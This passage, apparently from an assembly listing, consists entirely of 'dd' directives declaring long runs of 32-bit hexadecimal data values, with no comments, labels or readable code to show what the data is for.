0C52DAB2Bh, 0F0EE7C55h, 0B29A2916h, 0A016DB2Dh dd 1A6EAFF6h, 0E295A05Fh, 7A422E17h, 83972020h, 31E9FC08h dd 0B82B1741h, 28ABE570h, 352A6817h, 2620AC47h, 0B95107EEh dd 0F0672205h, 0A9A1D7BDh, 7D8CC058h, 48EB8B82h, 9DEB29ECh dd 0EA08E479h, 0CB310BE7h, 508D5791h, 525755F8h, 140760B0h dd 4B41F667h, 0EBA062F5h, 3F89B55Eh, 0E9E18D79h, 8464F6E4h dd 487EEEE2h, 7B81B591h, 0AA634F1Eh, 519C6524h, 96B31036h dd 76940298h, 0AC803AFDh, 3BE010EFh, 2705F994h, 0D38262C5h dd 0C28EA44Eh, 2DE588C1h, 3418A869h, 1D2C0C02h, 3DAB0438h dd 284AF2D8h, 0F3429799h, 3750C6A2h, 0D51D8168h, 0C39BF4B2h dd 0D914EBB5h, 1680CFDFh, 5004E2C0h, 0FE3C2AB0h, 0FE83CC8h dd 2124EB0Ch, 0C220832Ch, 51C12322h, 3AB53DE9h, 0D54CECD2h dd 0D160D1E6h, 63E95BA2h, 69219C8Ah, 540FD25Fh, 0A059AE36h dd 0A94645E3h, 39F068D9h, 5D522756h, 75C0B6C2h, 1C58FAFCh dd 0E2A2250Fh, 0CF34F78Ch, 0F3AEE917h, 0FED13F41h, 84E980C9h dd 3B31C23Ah, 7D7689D7h, 0BA043C16h, 6E624313h, 0F94112BBh dd 90C901FAh, 0D3011B98h, 0BA923B32h, 0E98364F3h, 0AB3D35D5h dd 0C103E3C7h, 0FD279E7h, 66E52E7Dh, 2600F7EBh, 0FA011623h dd 828C95B3h, 0F8BE3843h, 0B0F84B5Ah, 0A5177985h, 53F89807h dd 0BF396813h, 6EC83B60h, 0B059F6E5h, 0EDDF5BD7h, 0CD82F5ACh dd 0FA58049Ah, 71442FF7h, 4D8627E9h, 5B02A91Ch, 0C8E96CB3h dd 93645FB6h, 186E5800h dd 0A2D6B974h, 1FD2CD7h, 1E49182Dh, 0D02C336Ah, 0C1875E64h dd 976E3F03h, 260C1B96h, 3EB83D2Eh, 2839E902h, 0D0D70496h dd 52088161h, 8236BC20h, 8056E057h, 0B7F28AFCh, 1B2E220Bh dd 0EC1A5D65h, 897D54C2h, 0AC515FEFh, 89982067h, 185793BAh dd 0C21A5E1h, 0D0F75AB0h, 500B0D04h, 0CB7CF649h, 88508FDEh dd 0B0C3290Ah, 5B4440B4h, 8AE14650h, 0DF16D4E2h, 61AEF001h dd 7F121153h, 83C96C5Dh, 57C7ACBh, 2B553A39h, 6688BB89h dd 21596BF6h, 7709B676h, 0AAA20274h, 10CCC30h, 4ED41702h dd 0D41DCE35h, 90022D1Ah, 6832690Bh, 885FD6B5h, 541280ACh dd 66F8269Dh, 36F19F88h, 754D3C89h, 0A4A75ED1h, 0E6AB5E1Dh dd 0E9BFC938h, 916FEE58h, 0F5D6011Ch, 2E203CD7h, 3A08A029h dd 49411F77h, 0F4A93476h, 0D89322A5h, 78CE8131h, 1C14AB30h dd 5BE91A7Bh, 0AAD6417Eh, 4CA1A116h, 33A1D86Dh, 921B734Ah dd 0BA5613FAh, 0A97A68CDh, 15465087h, 0D232A44Ch, 0B22824B5h dd 4E8B6809h, 0B185A1D1h, 8BAAFEF3h, 18985AEAh, 0AFE988DFh dd 7E25219Ch, 0BCBD01AEh, 703CEB07h, 0D69504F0h, 0E151E9D0h dd 0AE2054A6h, 0E59D58FAh, 6A343E40h, 0EE67D18Fh, 0E95F0376h dd 0ECF3A52Fh, 0B22BECEAh, 7763894Eh, 932FB1E4h, 711CB39h dd 0FA7944CEh, 49F2DE0Dh, 0CB822802h, 95058FB5h, 8C0EA784h dd 5201D358h, 0FD07A833h, 1235E03Eh, 64578926h, 0C362A001h dd 40DB292Dh, 0D7580828h, 7A1EB1DCh, 9CF44234h, 0BEF60210h dd 9C1E91Bh, 560CA64h, 480C5B9Eh, 0DF213B2Fh, 0F78AD64Ch dd 8027399Eh, 7F4960FEh, 2B2CD918h, 82DB5A81h, 9322D442h dd 67671DF8h, 123F49DEh, 0DDF5CE8Fh, 178B529h, 96685233h dd 2A089C2Ch, 5E3B942Dh, 0FCDCF269h, 0D831EDC8h, 42E86813h dd 7D2AFD62h, 0FBC769A1h, 0BABC6AFEh, 6725E9ACh, 0A394A215h dd 4F7E0B49h, 38ED5F25h, 27C0A012h, 398063B2h, 0C29FCFF2h dd 0D2904B1Ah, 705FEC92h, 0CF2924A5h, 5E508BDh, 3D18EB24h dd 91512DAFh, 0B37A499h, 5FD1D8D1h, 5751C540h, 293E1663h dd 82211FDh, 0E3400C48h, 12621709h, 3FF60571h, 2FCDBBD4h dd 286A0EDDh, 23600B18h, 8D3E66Dh, 0C424C20h, 467C5501h dd 74E1E935h, 0F309BB1Bh, 80033240h, 97724B9h, 0FAE39F33h dd 29E8E39Ah, 9C264484h, 0C6021BFCh, 0FD5BAE11h, 3C080FA8h dd 3FF655AFh, 420BE961h, 956FB54Dh, 2528AAA7h, 72992FE9h dd 6EC70868h, 4B14C58h, 0D8DBB89Eh, 9F94C8EEh, 0B279D7EEh dd 0C91FF1BDh, 9DB19E75h, 0B2E219D2h, 0F7D66495h, 970DDB70h dd 3BA01C1Ah, 5644090h, 851859BDh, 52769FE9h, 0EA8C081Fh dd 0DC3A3249h, 7D546931h, 196EA388h, 3B291958h, 27E94BD8h dd 9FA5F116h, 0BA4B83Ch, 2CE2684h, 0DF6527ECh, 468059BAh dd 62550775h, 0D309D090h, 23A0A74h, 0D5E6E77Ah, 0C22D81C7h dd 30D6770Bh, 95A35E72h, 5C2F8C92h, 7027C76Ch, 8939F909h dd 42E41BB1h, 23D2E7BFh, 0E9538442h, 0A4F2F16Eh, 754917C6h dd 0AD1C1524h, 9DF9043h, 70D6E956h, 2BA09E8h, 58031BFh dd 0DA235AEEh, 0A0C2760h, 9F42E93Eh, 883BAF2h, 3A140C41h dd 0EBF4A3B8h, 0B9C045E2h, 2D1D7C84h, 0EB5DE979h, 32787312h dd 0C6F03B36h, 0E6280F60h, 0F76E801Bh, 70B126D9h, 0A140C202h dd 0DCE20081h, 92435013h, 0FCE7D8F7h, 1EC26DA8h, 0DDFDED80h dd 0F5C4738Eh, 2E2A88Dh, 0B151CEFEh, 0F9C05F5Bh, 0C00E03C9h dd 72D006E1h, 86F107C0h, 47CE4C30h, 5CDB0710h, 1C375B4Ch dd 480E73E2h, 7F1A6CFBh, 0C558B770h, 0C902E190h, 0E9108E50h dd 7F9D61Fh, 12682C59h, 0EFF70D4Dh, 0E9020571h, 520F06Dh dd 482F4409h, 0E6D9DD4Fh, 92C2DE6Eh, 4AEAC1F1h, 501542EDh dd 0F8B204F7h, 0EF5CEB80h, 66531FD7h, 0B60A335Ah, 67E0E1Ah dd 0C410690h, 18E5587Eh, 0C348289Bh, 788810CDh, 0EAA6801h dd 0D85D3FE1h, 919A6E13h, 5B148122h, 1E09EAC1h, 58E2958h dd 0F1371DFh, 1C2E22B5h, 0AFEC92E0h, 25683278h, 0E5FB77ECh dd 0AE090026h, 0CB51C491h, 89DF0706h, 9C3284FBh, 3432C0ABh dd 0F09F08CAh, 13125F37h, 531F03Fh, 6228DBF4h, 0CB02D773h dd 2925A72Fh, 8A988C3h, 1D8A5817h, 5279624Ah, 5B3083D8h dd 0F3C53A43h, 4BC27D9Dh, 0E0A13C8h, 0AB13D37Dh, 2F3E3A93h dd 90C1593Fh, 0DE322B32h, 242B5A30h, 40EAEEB4h, 1474335Bh dd 8940C0B7h, 355F05F8h, 0AF2E7378h, 72F4ED13h, 4A5B7EE2h dd 35D10187h, 7FAB538Ah, 48164FE8h, 15A537AFh, 69A2AA1Fh dd 0A6E97C81h, 24E872D5h, 8F314940h, 2EF0BD55h, 0FE0C4F96h dd 3BED1C16h, 0D0F0E120h, 3CF92D4Eh, 467C0527h, 50F94EBDh dd 0B19AA84Ah, 0E62F458Fh, 0F8DC5FAAh, 4BBEAE5Eh, 0D91AA495h dd 24052B8h, 8B2AEF09h, 5A0D487Dh, 13029530h, 0E91E0BB9h dd 6FA048A1h, 0C0FE55B0h, 6815C8E4h, 21965F2h, 0CBE90DB7h dd 7D8389EFh, 5725995Bh, 0FC1A2A2h, 511E2F51h, 0DAECC349h dd 6ED0EE8Eh, 0BC160EB3h, 25C95969h, 2116AFBEh, 6A86141Ch dd 0D52957FAh, 0A5E02304h, 0BAC3E0Fh, 0D90E5D30h, 2524067Eh dd 8A05E01h, 58419590h, 0F4A38460h, 245E5FF6h, 4198267h dd 99B61E40h, 1C35DC5h, 0B78421BCh, 5081A263h, 711C7243h dd 0EBA03429h, 4CB98B6Bh, 31CD051Ch, 2DC55EE8h, 5B081811h dd 6F5244BFh, 0EA4593F1h, 77B6473h, 460B0833h, 0C818B25Ch dd 60E580E2h, 52DF0649h, 8109B353h, 855BDE88h, 0EE1984Eh dd 0F14C5766h, 0EAD5DF30h, 0AC1D65FEh, 0EDAC011Dh, 0FA260822h dd 1A0E655Fh, 0D9FF1650h, 0FDCD42E6h, 6E12C144h, 9800272Ah dd 0D562C4E1h, 17F1EC0Fh, 0BE4045D0h, 537D9601h, 60606B4Ch dd 0B680B64h, 0D002466Fh, 0C2565222h, 2903186Eh, 0FA575FC7h dd 951DB22Ch, 94DD7042h, 0C6229F90h, 4CE707ACh, 0D2CD19BFh dd 91DDE273h, 6416153Ch, 86300288h, 6D79FEECh, 74037FE9h dd 0AAEC4BEEh, 0BF4A6CA8h, 0B72D8F40h, 951C102Fh, 0E9BC10FFh dd 0D2039D9Dh, 9C205A54h, 0F1883C04h, 91DC924Bh, 0E1CFEAADh dd 0F2A37F13h, 84365A78h, 0BDF30F9Bh, 0D6624D09h, 0B57AA482h dd 2DCE5D05h, 564BEA4Bh, 81B67D5Eh, 93D2E3C9h, 0FF0A82B3h dd 39254847h, 0BD14028Ch, 0B0EAA4E9h, 16557AE0h, 0BBE30485h dd 0DB982512h, 65EE2568h, 3EC4EEFCh, 0AAAD13BFh, 0F581F528h dd 0EB9E287Bh, 438233ECh, 5CC7313Bh, 2F6A430h, 96A3E0BEh dd 0F2012FD2h, 33B701E0h, 0FF12C125h, 2D08A988h, 0F38BBA65h dd 829F7329h, 7F966856h, 19DA1857h, 2BA802Bh, 0E7371016h dd 0C6A110ECh, 0E9923E07h, 4ECC4002h, 0B6B01647h, 0E14E4489h dd 250090Ch, 0F1AB58ECh, 0A602925Ah, 9A2313EBh, 0E47A019Dh dd 670C60F3h, 2D8B4699h, 68E440D5h, 0BF7A7F2Eh, 1272FBE9h dd 8F224979h, 0EAF39302h, 65F58100h, 34683B4Dh, 710ED02h dd 8DE13373h, 5EC47246h, 2AB22997h, 6A4EB2B6h, 412CD94Ah dd 3EC677E9h, 514868F6h, 0FBF49770h, 0A0D03942h, 0A421CE9h dd 0EEC13209h, 52FC3FA4h, 3788B816h, 535826C3h, 0EDB56164h dd 2DF82AFEh, 6B61E2A7h, 0D720C2E5h, 76A6E349h, 0DEF4AB2Dh dd 0CFC05A9Ah, 33C41413h, 530F52E5h, 172FCE66h, 0D98A7F2Fh dd 63343C96h, 8A845431h, 0ACD4BF7Dh, 0F1FB0C35h, 32046EB8h dd 52000A3Bh, 0F52879B6h, 5E6278BDh, 0BD08FA0Fh, 11A20CE3h dd 44D75D56h, 0C60A8ADh dd 773540A8h, 20487497h, 0C89C8108h, 920B2E44h, 65C3FCE7h dd 49D8CC30h, 74BD4270h, 0DF1536Ch, 0C3A968D3h, 300AB551h dd 0C80632A4h, 17A0EA30h, 4581FFCEh, 8C71B747h, 0D13A6470h dd 7D4D549Dh, 51E10EEh, 6D45F24h, 87E4685Ah, 51E2197h dd 0F82E7D1Ah, 354D406h, 272845FBh, 9E0E014Dh, 293ECC38h dd 0EBD242E9h, 0C1B4545Fh, 2A77BC68h, 58B7F18Ch, 7E2FD091h dd 45986A18h, 5F304B27h, 7EBD5710h, 0E9A1EB09h, 5D312580h dd 4815798h, 7D3459F3h, 0BAEB851Bh, 0EA5F819Bh, 688F8F30h dd 406C4FABh, 70E9EB9Bh, 12CF530Ah, 5C023F08h, 4014DB33h dd 2E2973A7h, 12677418h, 32B6FB8Fh, 0F859174Eh, 4EA8B1CEh dd 579AD33Bh, 235094C2h, 15236815h, 0E68D96B8h, 0EB18DC6h dd 7667697Fh, 0E9F3055Fh, 0C8C89B26h, 11D4044Ah, 82D6299Ch dd 800E70Ch, 49F659E8h, 834C26D0h, 273AC976h, 54E811B3h dd 0DC246859h, 95C2E675h, 9A147F37h, 0FEFC0113h, 209821BBh dd 0BD7CCC2Fh, 0EB9C8A02h, 0D2CD29D6h, 0AE534E01h, 0F03E9479h dd 1058CC0h, 0F6E94F9Eh, 16B5D4A0h, 27E828D6h, 91F0D55Dh dd 0D7DF680Ch, 0E57A8F18h, 8844CA15h, 4B82EBF4h, 76D0C7E0h dd 9C5E26C0h, 0BFFB8822h, 4EE3017h, 8034ECBDh, 0C7FEAF55h dd 0D7F604C7h, 0E945E7C0h, 2DFC5BB3h, 11BF3E6Fh, 0D2D80DC3h dd 392F2C83h, 2C4F7475h, 15E13FAh, 0CF096F35h, 0C54E7B59h dd 4AF2BD81h, 0D65677EFh, 205C5C47h, 317E3168h, 2B134771h dd 0E29612B8h, 8DAF9303h, 57C83BA8h, 0B5CA9D63h, 0A30C018Fh dd 2A316849h, 23975F08h, 17AFD33Eh, 89659F88h, 637A59Dh dd 1D36A601h, 806E2305h, 0C5479D15h, 9EBA3150h, 57A513B6h dd 0BD550702h, 2995A0DFh, 62CCE9E8h, 5B542779h, 0EC57F862h dd 74C309D1h, 0AE0057E8h, 0A8178B41h, 65417AB8h, 93D6EE9Bh dd 3F27C3D9h, 0B841D3CDh, 3500EA8Ah, 3C3DF278h, 415A1C36h dd 734C7727h, 0DA3976BFh, 1C1C6BD4h, 972B45CAh, 0AFB56912h dd 5EF97AF0h, 4F2DEC63h, 0E2D04681h, 0DDEA2901h, 2B133A9Bh dd 179BAA10h, 220559F6h, 9CD02986h, 5B0D53E9h, 9050EE92h dd 40104C08h, 76BDEA36h, 0FE011C59h, 0B91D9A92h, 7AFE7790h dd 8820C936h, 4E088342h, 1F1ABA0Ch, 2BD0750Ch, 9FBE9080h dd 0FC027F82h, 9B7D1992h, 0AD66C91Bh, 51ED7D80h, 2969521Eh dd 1CBAF99Fh, 0EEA092E9h, 52F3CC8h, 0F7310647h, 0B071ACDEh dd 0B2A48B0h, 0F92FE938h, 3BA4CBBh, 42A9CB0Fh, 2C4C54CAh dd 840E702Ch, 9610038Bh, 59421E60h, 787F1C2h, 4F57EB8Bh dd 597E2D3Dh, 0E9BAA944h, 0CE77C5C7h, 0C204C099h, 7E6921ABh dd 1C38EE0h, 9EF97FEFh, 5D1E046Eh, 51F72987h, 5BB1B9E1h dd 0CD9BBFFh, 0CA3BC124h, 1BB5CF20h, 0D85EF3F7h, 0B03B8A2Dh dd 435641FDh, 0EEC0F60Fh, 18927127h, 251D579Fh, 0AE16DF25h dd 4674852Fh, 0F0A0208Fh, 0F2BE5AD2h, 0EB80E0D3h, 0B0D3E0D2h dd 1F07619Eh, 0E45A66D0h, 1D913FCBh, 0C2717A27h, 31692A0Ch dd 0A0F59441h, 0E91508B0h, 7842D676h, 4E614225h, 0CD629FA4h dd 7752B1DCh, 0E9049979h, 0FBB32DE6h, 0EA11F835h, 51AF98B0h dd 0A03EC014h, 808290C2h, 163FC71Dh, 0AE734B9Ch, 5808BF10h dd 0A18C43D6h, 0A37E58E9h, 15B8583Eh, 84B8A91Dh, 0A6AA3B28h dd 72EF7BE7h, 443F54F7h, 1520F40h, 0F2803AB2h, 0F4D2F618h dd 769DF5B0h, 0EB5BC4F1h, 0A72FB63Dh, 0AEDA11BEh, 7D0CC202h dd 0CE621AC8h, 2E6DD0F5h, 0A773EDE9h, 9688D2E7h, 21BE01E4h dd 20188B30h, 0E08206C9h, 8017D806h, 0F6E06E25h, 0EA352D0Fh dd 5766150h, 3CC5770Eh, 8C7E8EBh, 0C201129Bh, 6497D858h dd 5903D8BCh, 0CB5BF988h, 5A57383Bh, 1C5DC325h, 7DB9DDDh dd 0BF01F3AEh, 3AAA168Dh, 34CBE60h, 0E94E3E32h, 0ED49E169h dd 52767409h, 63076813h, 608D9135h, 0EAEF853Eh, 0F542AA33h dd 0F1EF28FEh, 0A4900A4Bh, 5F4A4D6Fh, 9A9BC1Ch, 80688743h dd 9E084726h, 68289F15h, 0BE5B1608h, 4EDE96C1h, 9271FD7Bh dd 0D2AC91AFh, 1AC450E3h, 4FB865A8h, 0BFE63F20h, 0F0A3234Ch dd 614C164Fh, 0CBAC5B4h, 3780A64h, 5913A080h, 880810A3h dd 0C5752771h, 32BAC2Ah, 6A902065h, 0D0DFEEE2h, 1231B0ABh dd 492648E9h, 80D7EF05h, 5B52999Dh, 26EB87Bh, 35083DC0h dd 0A079FB01h, 901610B4h, 4E537E06h, 5450141Dh, 0FD00A258h dd 812DD774h, 0DDDF9F3h, 0EB3346CFh, 0C008752Eh, 0BA5B1707h dd 95EB472Ch, 0E9EF07FFh, 0F5612BF9h, 40161665h, 0E67F2EE1h dd 0BA5213F9h, 38F67305h, 8100F4F8h, 1470AACAh, 8832E96Bh dd 5701362Ch, 3B7D1641h, 52C94C90h, 61FC2808h, 40370F86h dd 0CF817004h, 8ED74B5Dh, 0E42EE70Ch, 6D0172A0h, 30673Dh dd 4AF5155Ah, 0C70E0005h, 0EDFE7CDAh, 0F59942B7h, 7B83E6C3h dd 0DFC76D27h, 0E00E30Ah, 3D692624h, 8A00076h, 3A4C8081h dd 6F43B62Dh, 0FE1A4A92h, 55D3D309h, 0C2F66D8Bh, 0B3E5500Eh dd 4AC48DF9h, 1CBB0398h, 0B700F549h, 3062F9CBh, 0E3D10560h dd 0FCAB57E9h, 31EBC465h, 3C8917E9h, 7055E711h, 2392FAD4h dd 6DF1FD4Bh, 0B299772Fh, 0BE0024E1h, 4B4FEADCh, 4B15A8F7h dd 0EF10DFB9h, 248A1319h, 291D2CAAh, 0C2579D60h, 763F0E7Dh dd 56E20A54h, 7C0EA04h, 871DC0F2h, 0F920CF74h, 29960264h dd 0FF5AD62Fh, 1C820C92h, 33D799BAh, 0DE67D110h, 0FC9414BFh dd 0AE4F9DE1h, 62C733D8h, 5DEAE970h, 0E94F937Dh, 0F7C20B94h dd 87C49959h, 0C510B846h, 60D42AEDh, 0C0E21D81h, 60E15203h dd 96D57EA6h, 560662BEh, 0FA5C1C57h, 0B1FEF871h, 0CA6806C8h dd 124A1B41h, 38BA5BC0h, 220713Dh, 46B96853h, 0F3FD2AD1h dd 0D66A026Ch, 125474D8h, 1306388Eh, 9091F2EAh, 0BBB94BCFh dd 0FB59C884h, 0F809CDE3h, 18D0CFE9h, 1FB2F595h, 5F26F183h dd 0F5E913D0h, 0B9017EBEh, 40447EE2h, 0D7E07260h, 684FAA0Dh dd 0A45323C5h, 0E2CDCA72h, 59080251h, 0B1BFD987h, 6F56B5B1h dd 0EB49170Fh, 438ED55Dh, 0C6C8EA97h, 95F9DD1h, 0D6597F3Eh dd 76EF84E9h, 167EF6AEh, 49BCD3F7h, 65840DDAh, 0AFBC84B0h dd 807F12CAh, 99A8092Ah, 0F59D5EF5h, 0D695059Eh, 0CF7627A6h dd 5C852573h, 0EA60EE22h, 4BA4D946h, 586F7924h, 0DE943C93h dd 2E28F1AEh, 0F74FDEE0h, 265702E4h, 26269B5h, 48011032h dd 8FC91B60h, 2CE6453Ch, 0E8E000FDh, 4E95E95Dh, 74D5435h dd 27F581Ah, 68EAC055h, 0A8575355h, 5E43B840h, 5F6AD87Bh dd 56C72925h, 25040814h, 5BFC0438h, 10E2E328h, 506C6610h dd 36263432h, 7F09DD3Eh, 1214D754h, 0EACBBF20h, 0C6E05117h dd 0ACFC757Fh, 66E50F7Bh, 0B9BD52F6h, 0A45964Ch, 58082489h dd 0EB76B07Fh, 4BAB9AEFh, 0E118EAC2h, 301A7CFCh, 0D7A036C7h dd 3A5AB37Fh, 0B0414CE8h, 0A2AAFC88h, 7B617727h, 55D2A7D3h dd 6A9D6DECh, 0D615EA3Ah, 0F6CC8818h, 0EEEC3501h, 0C1F17EB8h dd 0AA66C47Ah, 0AC4A6DB8h, 7862678h, 0FF65CBBBh, 0BB00C3E9h dd 2C505F8Eh, 0D6FAD989h, 0D0A6B65Fh, 0E69E3A6Fh, 0BA572783h dd 80755427h, 4053192Ch, 0E6974401h, 580C8076h, 27B8B45Fh dd 5D52FDF1h, 5E66755Ch, 36ED0932h, 0DE8C5F76h, 29802EA6h dd 6F3496EBh, 7EE0AFA9h, 0C2EE51ACh, 83DFD295h, 0F3C981BCh dd 308F0860h, 0FAAE871Bh, 0D64EF8E9h, 2E2DFB8h, 6861C459h dd 2F241088h, 314750CCh dd 0FB4B0BD5h, 0DB282966h, 6DD92908h, 0D5B22BD5h, 0E617BFD7h dd 84C588ADh, 2923BA03h, 0FD0AC85Bh, 0A71891FEh, 0AF67EFD7h dd 6885CD59h, 0F6A84312h, 4E11B2C0h, 0FF2FE907h, 1E4BDAC3h dd 0B8C9FE95h, 0EF148D35h, 43DDDF00h, 3CC166EEh, 0BF302EBh dd 3F93F09h, 33871C00h, 0B4A063BBh, 93FB0690h, 0DF1CCA94h dd 5B24254h, 0C7A62AFBh, 0FA3A85EFh, 0F3613202h, 27E200FEh dd 34737A68h, 54215225h, 772E60C6h, 0E9252C39h, 0D72A8B9Ch dd 7294065h, 0A7881009h, 782A3931h, 0F68FB080h, 9548E9D8h dd 805D3D89h, 0A8D954DBh, 20DD95C1h, 9A4FC3D6h, 8CE91614h dd 0F83CFE1Ah, 0F01B0012h, 3D96BA03h, 62BF0B3Eh, 2D114138h dd 0C96D5D6Eh, 485745F6h, 3BCF7CDDh, 4FC4E05h, 3462A593h dd 78ADAF2Dh, 7BE9F00Eh, 6575A05Ah, 0EA3C4465h, 0BB00948Bh dd 7123773Bh, 3865F2E9h, 4EE5B7Eh, 0BB7A375Ch, 247D1220h dd 0F80D4E3Fh, 0D9421060h, 4609BE4Ch, 9587F85Fh, 0EFB8C3F5h dd 0FA4FF5BDh, 5168097Dh, 0AEBD6714h, 25CAEA16h, 3189E3D5h dd 6EE0A260h, 96F58583h, 33513868h, 6470E860h, 25DC625h dd 0D787CA29h, 81809FF9h, 6BC722F1h, 53E0BD31h, 89B1D601h dd 24AD2608h, 6F5303D9h, 0EFD964D9h, 42E2976h, 0DFA98EC3h dd 0E92A88AFh, 217294Fh, 3C64561Fh, 0C30F081Fh, 0D9749F83h dd 0DCB9C3C7h, 353E78BFh, 0C9294482h, 0F59157DFh, 0CE5F305Fh dd 99BC2C5Ah, 0BFA00093h, 62A36F60h, 0B64BD35h, 0AB3485EEh dd 535551C1h, 40C5033Ah, 0FCC43CA6h, 75150E72h, 0D9F15763h dd 42E90702h, 42065ED6h, 0D060B276h, 40130ACAh, 0C0EA1585h dd 64CFF23Ch, 77F66027h, 0E0D64C84h, 2A04BBBFh, 297E741Ah dd 0B61D0BEh, 494A8042h, 781BC9AEh, 0DEA25F57h, 0FBB23F84h dd 0B868F320h, 0A07AB97Ch, 4FC202CDh, 0D1F7644Ah, 0A76D795Fh dd 0BBE060F2h, 0AFA678B9h, 4BB1F813h, 0B23F7BFDh, 0BE59726h dd 0D1132A8Fh, 601A257Fh, 0CFA9158Fh, 6BAB75F6h, 41356601h dd 0BAD4522Ch, 0BF237915h, 0E937E581h, 7B93651Ch, 8F84CFE9h dd 8A45BF63h, 0CAEA609Fh, 281F10B1h, 79C6E918h, 5316A005h dd 0D0E84ED5h, 0B02B0741h, 0DBA8FEF9h, 2324127Eh, 0A3025727h dd 684BE029h, 4B8758ABh, 32DCBE1Ch, 3EDB6A94h, 0BC9170D9h dd 0BC417695h, 0F9A87613h, 0C87E250Dh, 2750C5ADh, 6957463Ch dd 0AA225D11h, 0AD890A2Eh, 85506660h, 2ABA1302h, 0C8FD8A03h dd 827C02B8h, 0D494E3F5h, 0C4BBB2FFh, 68031CD0h, 152F129Eh dd 0F53542E1h, 0F979BD16h, 0D759ED2Fh, 46075503h, 8E60D13h dd 25493D44h, 0D97695ABh, 7A383103h, 1E58BBA3h, 14D92F27h dd 918031C5h, 61EEE930h, 8759EEDAh, 0F0282A14h, 0E65E5BF0h dd 39FE5FC9h, 8EC92EA5h, 3C67CDECh, 0F713506Dh, 20BB0BDDh dd 0CDD8C5Dh, 2CC77E6Ch, 40523195h, 0E3F0A6E4h, 74A7E913h dd 93E081C9h, 351979Dh, 0D70002ACh, 0BA19694Eh, 0D8C13B6h dd 5B10BC46h, 256820B0h, 71664795h, 0B02C5ABFh, 7B363D59h dd 4717A2Eh, 0ACF5A9E9h, 2DAC9321h, 41E9EAB0h, 0F7F70295h dd 0F875C0D6h, 2B30FF4Eh, 3AA23AEEh, 240C05B1h, 2967E4CAh dd 0F9E9F20Dh, 3CD55CF4h, 0E5F2B244h, 0CD50BF4Ah, 0F8F20187h dd 68518EB4h, 89C4A57Fh, 5E091624h, 20E29F5Bh, 7C20E092h dd 0EFBB07EAh, 0D460DF2Fh, 0A7CAC2DEh, 6F09D20Ah, 95094466h dd 519C817Fh, 283FD189h, 59255B8Dh, 666F685Ah, 6FE59D47h dd 7FADED00h, 0E9E91FBDh, 2F60E62Bh, 9077961Ch, 5980CE4h dd 9CEA624Fh, 0F5010DCBh, 9AAEE244h, 0BD9A625h, 0C3F482F7h dd 4ACE77D8h, 7878FEF7h, 4F036839h, 4E7963B3h, 0E9328C3Dh dd 0C5132F4Fh, 713C12ACh, 400BBA40h, 23100A64h, 0A174B908h dd 0D038678Bh, 0D25B2D4Ch, 0D07DC65Ch, 0FEFEFC80h, 0DD4E4173h dd 2DAB2FE8h, 63AE2FC6h, 0D73B3B45h, 6552135Fh, 1950CB53h dd 1B6F0A93h, 82AE8D41h, 93EE2951h, 6C442D13h, 30561499h dd 80803337h, 0FEEA39C4h, 0E0E04ECh, 0AF7E7EBDh, 8340281Eh dd 6F3527E9h, 0D73D3475h, 0BA80C522h, 0E8D2ABA6h, 0F86BE9ECh dd 4E68C1DBh, 0EE606C19h, 0D34B6EF3h, 0E3C0B2A1h, 94DC6002h dd 2F5AF1F7h, 0DC17CA8Bh, 84F2FD59h, 1819325Bh, 0F6DADFD8h dd 0A7D9E3D7h, 0CEBC81F5h, 0D2CFE35Bh, 5EC59C9Ch, 5D3DCC0Eh dd 59BFC217h, 4C8CC0Bh, 571F9894h, 7D46F342h, 0B440B04Bh dd 8D60DAF5h, 0FAEEFC3Ch, 4486BF3Ah, 5107A504h, 0F180C0B1h dd 0E9D1F630h, 3DDD60D4h, 183017C1h, 0C829FB18h, 26A10577h dd 272E0734h, 0DF5AE2DEh, 0BED8E305h, 24654016h, 49A92BE0h dd 0D5079101h, 0A405E5C0h, 3FB1882Dh, 0B8B63E5Fh, 58B50D20h dd 94B92AB2h, 13681C2Bh, 0B4FD2754h, 632E002Bh, 0B8502F90h dd 7B2E18BCh, 0A004038h, 0E93AD653h, 91315ECDh, 0DCB800h dd 0B489ABAh, 0D7011C62h, 0BF3D6E87h, 0E8E08996h, 46A86DDFh dd 2F1D7205h, 7265775Ah, 0ACE92548h, 387E9D62h, 5520F2EEh dd 5A841CCDh, 41CBED4Ch, 5FD2F408h, 5874FE97h, 4A920E2Dh dd 12B1A2BFh, 807F0B58h, 0AB7F35FFh, 2D589D13h, 13E16DFBh dd 0F9D0C4E9h, 2E2A94E5h, 2507549h, 0D273BC6h, 423540DDh dd 824FD4DAh, 57A6D139h, 0F8582551h, 78AAF6B5h, 38C0C2D5h dd 2D7508B9h, 1B9B83Ah, 31DA69E2h, 727885E9h, 8C4A138Fh dd 0D105E2B2h, 0C748DB5Dh, 34271107h, 0E8E33A5Bh, 8756CF25h dd 9FF3F22Fh, 0AA5830DEh, 0EEDFC042h, 0E5291F92h, 80F9095Ah dd 1896DC12h, 268D1EA8h, 29136609h, 8B988CEh, 8959AC2Ch dd 0BFC9D51h, 9104F02Dh, 0B1FB7944h, 52052EEAh, 62D50C57h dd 3E166CB2h, 0CE1B90B5h, 0D89FD373h, 8C360953h, 0C9A1D02Ch dd 0BA24DDE9h, 0A52CE13Dh, 0DF30E662h, 0C8CE4F49h, 0D64A4FA4h dd 2CFB4553h, 79256814h, 649D5436h, 8342A0B2h, 1D84D4A2h dd 0D889077Fh, 48D5B1F5h, 75A67CAFh, 0EEA01BAh, 0D80083D7h dd 27F12D58h, 351E026Ch, 26211BBDh, 6D86FA81h, 14B03A3Bh dd 3E856C2Eh, 7E4EE2EAh, 34AA3E50h, 0A2AB4ED5h, 0CE0C674Ch dd 89993700h, 4836C4D9h, 0CDE2AAC4h, 21393479h, 2D8AC0D9h dd 967F1088h, 13BE91FAh, 39EE8004h, 538FC0FAh, 0F7F2C8B7h dd 0C70B1A7Ch, 0E37EE988h, 1B799808h, 73B0B8BDh, 0CD1317C1h dd 0F8A8112Fh, 4715097Dh, 218750F8h, 0AC234B69h, 0D7508B3Dh dd 6C079E28h, 0F32939ABh, 33A867E5h, 26345630h, 3C035E3Bh dd 0D27C052Dh, 7700A501h, 7FCDA535h, 88E5BE72h, 0F73ABC70h dd 0CFDF8FA2h, 21E90565h, 7834B2FBh, 0E69BEB25h, 9747250Ah dd 5A73A074h, 12BA9Ch, 0E94820BEh, 12923782h, 4AEDFA5Bh dd 0DBE7AF93h, 0DBBEE909h, 849926C4h, 3F13E428h, 4F06D95Eh dd 76A4F717h, 41182655h, 51DA8CF5h, 0C19AABC5h, 60AFDF97h dd 9557C945h, 6BE2A4A4h, 0FE5A7D40h, 2604951Eh, 45A9B55Fh dd 2847BB9Ch, 5CCBC2E9h, 4253C6F5h, 25139F9h, 0E400AC1h dd 